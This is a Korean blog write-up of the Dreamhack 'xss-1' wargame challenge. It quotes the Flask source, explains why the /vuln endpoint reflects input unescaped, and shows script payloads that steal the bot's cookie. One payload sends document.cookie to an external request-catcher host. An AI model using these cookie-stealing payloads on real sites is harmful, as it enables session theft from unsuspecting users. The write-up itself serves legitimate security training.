본문 바로가기

Wargame(hacking)/Dreamhack

Dreamhack : xss-1

Write-Up

 

def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})

        driver.add_cookie(cookie)
        driver.get(url)

 

read_url 함수의 주요 부분이다. cookie.update({"domain": "127.0.0.1"}) 를 통해 쿠키가 유효한 범위(도메인)가 127.0.0.1 이란 것을 알 수 있다. 여기서 127.0.0.1 은 Target 서버의 local ip이다. 

 

@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html")
    elif request.method == "POST":
        param = request.form.get("param")
        if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
            return '<script>alert("wrong??");history.go(-1);</script>'

        return '<script>alert("good");history.go(-1);</script>'

 

위 코드는 엔드 포인트 /flag 경로를 나타낸다. GET 요청 시, flag.html 페이지를 렌더링 해준다. POST 요청 시에는 param 파라미터에 대한 값과 쿠키에 FLAG를 포함해 check_xss 함수를 호출한다. 호출된 check_xss는 read_url 함수를 호출해 vuln 엔드 포인트에 접속한다. 

 

def check_xss(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)

 

 

@app.route("/vuln")
def vuln():
    param = request.args.get("param", "")
    return param
   
   
memo_text = ""
@app.route("/memo")
def memo():
    global memo_text
    text = request.args.get("memo", "")
    memo_text += text + "\n"
    return render_template("memo.html", memo=memo_text)

 

vuln과 memo 엔드포인트는 이용자의 입력값을 페이지에 출력한다. 여기서,  /memo 엔드포인트는 render_template 함수를 사용해 memo.html을 출력하기에 XSS가 발생하지 않는다. ( render_template 함수는 전달된 템플릿 변수를 기록할 때, HTML 엔티티코드로 변환해 저장하기 때문이다. ) 그러나 /vuln 엔드 포인트는 이용자가 입력한 값을 페이지에 그대로 출력하기에 XSS가 발생한다. 

 

이제 exploit을 해보도록 한다!

 

/vuln 엔드포인트에서 발생하는 XSS 취약점을 통해 임의 이용자의 쿠키를 탈취해야 한다. 그리고 탈취한 쿠키를 전달받기 위해서 외부에서 접근 가능한 웹 서버를 사용하거나 /memo 엔드 포인트를 사용할 수 있다. 

 

먼저, self-xss(?) 를 시도해봤다. /vuln 페이지에 아래와 같은 코드를 통해 xss 공격을 하고자 했다. 

 

<script>document.location='http://host3.dreamhack.games:17218/memo?memo='+document.domain</script>

 

위와 같은 payload 전달 시, 문법 오류가 발생했다. 당연히 /memo 장에 원하는 결과가 출력되지도 않았다. 그 이유는 + 가 공백으로 해석되기 때문에 Uncaught SyntaxError: Unexpected identifier 'document' 에러가 발생했다. 다시 + 에 대한 url encoding을 통해 %2B 로 변경 후 paylaod를 전달했다. 

 

<script>document.location='http://host3.dreamhack.games:17218/memo?memo='%2bdocument.domain</script>
<script>document.location='/memo?memo='%2bdocument.domain</script>

 

/memo 장에 document.domain에 해당하는 값이 쓰여져 출력되었다. 

 

 

이제 /flag 엔드 포인트로가 param에 아래와 같은 payload를 전달한다!

 

<script>location.href = "/memo?memo=" + document.cookie;</script>

 

/memo 장에 flag가 적혀있는 것을 확인할 수 있다.!! 혹은 외부 웹 서버를 통해 flag 값을 전달 받을 수 있다. 그에 대한 payload는 아래와 같다. ( 드림핵 툴즈 사용 )

 

<script>document.location='https://ivgnhxu.request.dreamhack.games?memo='+document.cookie</script>

 

 

 

 

참고

 

https://jaynamm.tistory.com/entry/python-urllib-%EC%82%AC%EC%9A%A9%ED%95%B4%EC%84%9C-URL-%EB%8B%A4%EB%A3%A8%EC%96%B4%EB%B3%B4%EA%B8%B0

 

python urllib 사용해서 URL 다루어보기

python 으로 개발하면서 URL 을 다루게 되면서 어떻게 URL 내에서 path 만 가져와야하고 parameter 를 어떻게 가져와야하고 query string 은 어떻게 추가해야하는지에 대한 고민을 했던 적이 있다. 정말 단

jaynamm.tistory.com

 

 

드림핵 로드맵에 해당 문제에 대한 해설이 제공되어 있다.

https://dreamhack.io/wargame/challenges/28

 

xss-1

여러 기능과 입력받은 URL을 확인하는 봇이 구현된 서비스입니다. XSS 취약점을 이용해 플래그를 획득하세요. 플래그는 flag.txt, FLAG 변수에 있습니다. 플래그 형식은 DH{...} 입니다. 문제 수정 내역

dreamhack.io